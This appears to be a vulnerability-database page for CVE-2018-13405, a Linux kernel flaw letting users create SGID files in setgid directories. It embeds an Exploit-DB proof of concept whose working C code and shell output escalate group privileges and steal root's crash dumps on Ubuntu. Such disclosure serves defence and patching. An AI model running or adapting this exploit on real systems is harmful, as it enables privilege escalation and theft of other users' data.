CVE-2018-13405 : Detail

CVE-2018-13405

7.8
/
High
Improper Privilege Management
A04-Insecure Design
0.04%V3
Local
2018-07-06
12h00 +00:00
2022-02-25
17h06 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The inode_init_owner function in fs/inode.c in the Linux kernel through 3.16 allows local users to create files with an unintended group ownership, in a scenario where a directory is SGID to a certain group and is writable by a user who is not a member of that group. Here, the non-member can trigger creation of a plain file whose group ownership is that group. The intended behavior was that the non-member can trigger creation of a directory (but not a plain file) whose group ownership is that group. The non-member can escalate privileges by making the plain file executable and SGID.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-269 Improper Privilege Management
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 45033

Publication date : 2018-07-15 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Note: I am both sending this bug report to [email protected] and filing it in the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug or as a Ubuntu bug. You may wish to talk to each other to determine the best place to fix this. I noticed halfdog's old writeup at https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ , describing essentially the following behavior in combination with a trick for then writing to the resulting file without triggering the killpriv logic: ============= user@debian:~/sgid_demo$ sudo mkdir -m03777 dir user@debian:~/sgid_demo$ cat > demo.c #include <fcntl.h> int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); } user@debian:~/sgid_demo$ gcc -o demo demo.c user@debian:~/sgid_demo$ ./demo user@debian:~/sgid_demo$ ls -l dir/file -rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file ============= Two patches for this were proposed on LKML back then: "[PATCH 1/2] fs: Check f_cred instead of current's creds in should_remove_suid()" https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.luto@kernel.org/ "[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid directory" https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.luto@kernel.org/ However, as far as I can tell, neither of them actually landed. You can also bypass the killpriv logic with fallocate() and mmap() - fallocate() permits resizing the file without triggering killpriv, mmap() permits writing without triggering killpriv (the mmap part is mentioned at https://lore.kernel.org/lkml/CAGXu5jLu6OGkQUgqRcOyQ6DABOwZ9HX3fUQ+-zC7NjLukGKnVw@mail.gmail.com/ ): ============= user@debian:~/sgid_demo$ sudo mkdir -m03777 dir user@debian:~/sgid_demo$ cat fallocate.c #define _GNU_SOURCE #include <stdlib.h> #include <fcntl.h> #include <err.h> #include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <string.h> int main(void) { int src_fd = open("/usr/bin/id", O_RDONLY); if (src_fd == -1) err(1, "open 2"); struct stat src_stat; if (fstat(src_fd, &src_stat)) err(1, "fstat"); int src_len = src_stat.st_size; char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0); if (src_mapping == MAP_FAILED) err(1, "mmap 2"); int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755); if (fd == -1) err(1, "open"); if (fallocate(fd, 0, 0, src_len)) err(1, "fallocate"); char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if (mapping == MAP_FAILED) err(1, "mmap"); memcpy(mapping, src_mapping, src_len); munmap(mapping, src_len); close(fd); close(src_fd); execl("./dir/file", "id", NULL); err(1, "execl"); } user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c user@debian:~/sgid_demo$ ./fallocate uid=1000(user) gid=1000(user) egid=0(root) groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user) ============= sys_copy_file_range() also looks as if it bypasses killpriv on supported filesystems, but I haven't tested that one so far. On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and contains group-readable crashdumps in some custom format, so you can use this issue to steal other users' crashdumps: ============= user@ubuntu-18-04-vm:~$ ls -l /var/crash total 296 -rw-r----- 1 user whoopsie 16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash -rw-r----- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash -rw-r----- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash -rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash -rw-r----- 1 root whoopsie 18765 Jun 26 00:42 _usr_bin_xattr.0.crash user@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crash cat: /var/crash/_usr_bin_id.0.crash: Permission denied user@ubuntu-18-04-vm:~$ cat fallocate.c */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <err.h> #include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <string.h> int main(int argc, char **argv) { if (argc != 2) { printf("usage: ./fallocate <file_to_read>"); return 1; } int src_fd = open("/bin/cat", O_RDONLY); if (src_fd == -1) err(1, "open 2"); struct stat src_stat; if (fstat(src_fd, &src_stat)) err(1, "fstat"); int src_len = src_stat.st_size; char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0); if (src_mapping == MAP_FAILED) err(1, "mmap 2"); unlink("/var/crash/privileged_cat"); /* in case we've already run before */ int fd = open("/var/crash/privileged_cat", O_RDWR|O_CREAT|O_EXCL, 02755); if (fd == -1) err(1, "open"); if (fallocate(fd, 0, 0, src_len)) err(1, "fallocate"); char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if (mapping == MAP_FAILED) err(1, "mmap"); memcpy(mapping, src_mapping, src_len); munmap(mapping, src_len); close(fd); execl("/var/crash/privileged_cat", "cat", argv[1], NULL); err(1, "execl"); } /* user@ubuntu-18-04-vm:~$ gcc -o fallocate fallocate.c user@ubuntu-18-04-vm:~$ ./fallocate /var/crash/_usr_bin_id.0.crash > /var/crash/_usr_bin_id.0.crash.stolen user@ubuntu-18-04-vm:~$ ls -l /var/crash total 384 -rwxr-sr-x 1 user whoopsie 35064 Jul 3 19:22 privileged_cat -rw-r----- 1 user whoopsie 16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash -rw-r----- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash -rw-r--r-- 1 user whoopsie 50706 Jul 3 19:22 _usr_bin_id.0.crash.stolen -rw-r----- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash -rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash -rw-r----- 1 root whoopsie 18765 Jun 26 00:42 _usr_bin_xattr.0.crash user@ubuntu-18-04-vm:~$ mkdir root_crash_unpacked user@ubuntu-18-04-vm:~$ # work around bug in apport-unpack user@ubuntu-18-04-vm:~$ sed -i 's|^UserGroups: $|UserGroups: 0|' /var/crash/_usr_bin_id.0.crash.stolen user@ubuntu-18-04-vm:~$ apport-unpack /var/crash/_usr_bin_id.0.crash.stolen root_crash_unpacked/ user@ubuntu-18-04-vm:~$ file root_crash_unpacked/CoreDump root_crash_unpacked/CoreDump: ELF 64-bit LSB core file x86-64, version 1 (SYSV), SVR4-style, from 'id', real uid: 0, effective uid: 0, real gid: 0, effective gid: 0, execfn: '/usr/bin/id', platform: 'x86_64' */

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 3.16

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Debian>>Debian_linux >> Version 9.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 18.04

Configuraton 0

Fedoraproject>>Fedora >> Version 34

Fedoraproject>>Fedora >> Version 35

Configuraton 0

Redhat>>Mrg_realtime >> Version 2.0

Redhat>>Virtualization >> Version 4.0

Redhat>>Enterprise_linux_aus >> Version 7.4

Redhat>>Enterprise_linux_desktop >> Version 6.0

Redhat>>Enterprise_linux_desktop >> Version 7.0

Redhat>>Enterprise_linux_eus >> Version 7.4

Redhat>>Enterprise_linux_eus >> Version 7.5

Redhat>>Enterprise_linux_for_real_time >> Version 7

Redhat>>Enterprise_linux_server >> Version 6.0

Redhat>>Enterprise_linux_server >> Version 7.0

Redhat>>Enterprise_linux_server_aus >> Version 6.6

Redhat>>Enterprise_linux_server_aus >> Version 7.2

Redhat>>Enterprise_linux_server_aus >> Version 7.3

Redhat>>Enterprise_linux_server_tus >> Version 7.2

Redhat>>Enterprise_linux_server_tus >> Version 7.3

Redhat>>Enterprise_linux_server_tus >> Version 7.4

Redhat>>Enterprise_linux_workstation >> Version 6.0

Redhat>>Enterprise_linux_workstation >> Version 7.0

Configuraton 0

F5>>Big-ip_access_policy_manager >> Version From (including) 13.0.0 To (excluding) 13.1.3.5

F5>>Big-ip_access_policy_manager >> Version From (including) 14.0.0 To (excluding) 14.1.3.1

F5>>Big-ip_access_policy_manager >> Version From (including) 15.0.0 To (excluding) 15.0.1.4

F5>>Big-ip_access_policy_manager >> Version 15.1.0

F5>>Big-ip_access_policy_manager >> Version 16.0.0

F5>>Big-ip_advanced_firewall_manager >> Version From (including) 13.0.0 To (excluding) 13.1.3.5

F5>>Big-ip_advanced_firewall_manager >> Version From (including) 14.0.0 To (excluding) 14.1.3.1

F5>>Big-ip_advanced_firewall_manager >> Version From (including) 15.0.0 To (excluding) 15.0.1.4

F5>>Big-ip_advanced_firewall_manager >> Version 15.1.0

F5>>Big-ip_advanced_firewall_manager >> Version 16.0.0

F5>>Big-ip_analytics >> Version From (including) 13.0.0 To (excluding) 13.1.3.5

F5>>Big-ip_analytics >> Version From (including) 14.0.0 To (excluding) 14.1.3.1

F5>>Big-ip_analytics >> Version From (including) 15.0.0 To (excluding) 15.0.1.4

F5>>Big-ip_analytics >> Version 15.1.0

F5>>Big-ip_analytics >> Version 16.0.0

F5>>Big-ip_application_acceleration_manager >> Version From (including) 13.0.0 To (excluding) 13.1.3.5

F5>>Big-ip_application_acceleration_manager >> Version From (including) 14.0.0 To (excluding) 14.1.3.1

F5>>Big-ip_application_acceleration_manager >> Version From (including) 15.0.0 To (excluding) 15.0.1.4

F5>>Big-ip_application_acceleration_manager >> Version 15.1.0

F5>>Big-ip_application_acceleration_manager >> Version 16.0.0

F5>>Big-ip_application_security_manager >> Version From (including) 13.0.0 To (excluding) 13.1.3.5

F5>>Big-ip_application_security_manager >> Version From (including) 14.0.0 To (excluding) 14.1.3.1

F5>>Big-ip_application_security_manager >> Version From (including) 15.0.0 To (excluding) 15.0.1.4

F5>>Big-ip_application_security_manager >> Version 15.1.0

F5>>Big-ip_application_security_manager >> Version 16.0.0

F5>>Big-ip_domain_name_system >> Version From (including) 13.0.0 To (excluding) 13.1.3.5

F5>>Big-ip_domain_name_system >> Version From (including) 14.0.0 To (excluding) 14.1.3.1

F5>>Big-ip_domain_name_system >> Version From (including) 15.0.0 To (excluding) 15.0.1.4

F5>>Big-ip_domain_name_system >> Version 15.1.0

F5>>Big-ip_domain_name_system >> Version 16.0.0

F5>>Big-ip_edge_gateway >> Version From (including) 13.0.0 To (excluding) 13.1.3.5

F5>>Big-ip_edge_gateway >> Version From (including) 14.0.0 To (excluding) 14.1.3.1

F5>>Big-ip_edge_gateway >> Version From (including) 15.0.0 To (excluding) 15.0.1.4

F5>>Big-ip_edge_gateway >> Version 15.1.0

F5>>Big-ip_edge_gateway >> Version 16.0.0

F5>>Big-ip_fraud_protection_service >> Version From (including) 13.0.0 To (excluding) 13.1.3.5

F5>>Big-ip_fraud_protection_service >> Version From (including) 14.0.0 To (excluding) 14.1.3.1

F5>>Big-ip_fraud_protection_service >> Version From (including) 15.0.0 To (excluding) 15.0.1.4

F5>>Big-ip_fraud_protection_service >> Version 15.1.0

F5>>Big-ip_fraud_protection_service >> Version 16.0.0

F5>>Big-ip_global_traffic_manager >> Version From (including) 13.0.0 To (excluding) 13.1.3.5

F5>>Big-ip_global_traffic_manager >> Version From (including) 14.0.0 To (excluding) 14.1.3.1

F5>>Big-ip_global_traffic_manager >> Version From (including) 15.0.0 To (excluding) 15.0.1.4

F5>>Big-ip_global_traffic_manager >> Version 15.1.0

F5>>Big-ip_global_traffic_manager >> Version 16.0.0

F5>>Big-ip_link_controller >> Version From (including) 13.0.0 To (excluding) 13.1.3.5

F5>>Big-ip_link_controller >> Version From (including) 14.0.0 To (excluding) 14.1.3.1

F5>>Big-ip_link_controller >> Version From (including) 15.0.0 To (excluding) 15.0.1.4

F5>>Big-ip_link_controller >> Version 15.1.0

F5>>Big-ip_link_controller >> Version 16.0.0

F5>>Big-ip_local_traffic_manager >> Version From (including) 13.0.0 To (excluding) 13.1.3.5

F5>>Big-ip_local_traffic_manager >> Version From (including) 14.0.0 To (excluding) 14.1.3.1

F5>>Big-ip_local_traffic_manager >> Version From (including) 15.0.0 To (excluding) 15.0.1.4

F5>>Big-ip_local_traffic_manager >> Version 15.1.0

F5>>Big-ip_local_traffic_manager >> Version 16.0.0

F5>>Big-ip_policy_enforcement_manager >> Version From (including) 13.0.0 To (excluding) 13.1.3.5

F5>>Big-ip_policy_enforcement_manager >> Version From (including) 14.0.0 To (excluding) 14.1.3.1

F5>>Big-ip_policy_enforcement_manager >> Version From (including) 15.0.0 To (excluding) 15.0.1.4

F5>>Big-ip_policy_enforcement_manager >> Version 15.1.0

F5>>Big-ip_policy_enforcement_manager >> Version 16.0.0

F5>>Big-ip_webaccelerator >> Version From (including) 13.0.0 To (excluding) 13.1.3.5

F5>>Big-ip_webaccelerator >> Version From (including) 14.0.0 To (excluding) 14.1.3.1

F5>>Big-ip_webaccelerator >> Version From (including) 15.0.0 To (excluding) 15.0.1.4

F5>>Big-ip_webaccelerator >> Version 15.1.0

F5>>Big-ip_webaccelerator >> Version 16.0.0

References

https://usn.ubuntu.com/3752-2/
Tags : vendor-advisory, x_refsource_UBUNTU
https://access.redhat.com/errata/RHSA-2018:3083
Tags : vendor-advisory, x_refsource_REDHAT
https://usn.ubuntu.com/3752-3/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3753-2/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3754-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://access.redhat.com/errata/RHSA-2018:2948
Tags : vendor-advisory, x_refsource_REDHAT
https://www.exploit-db.com/exploits/45033/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.debian.org/security/2018/dsa-4266
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.securityfocus.com/bid/106503
Tags : vdb-entry, x_refsource_BID
https://usn.ubuntu.com/3752-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://access.redhat.com/errata/RHSA-2018:3096
Tags : vendor-advisory, x_refsource_REDHAT
https://usn.ubuntu.com/3753-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://access.redhat.com/errata/RHSA-2019:0717
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:2476
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:2566
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:2696
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:2730
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:4159
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:4164
Tags : vendor-advisory, x_refsource_REDHAT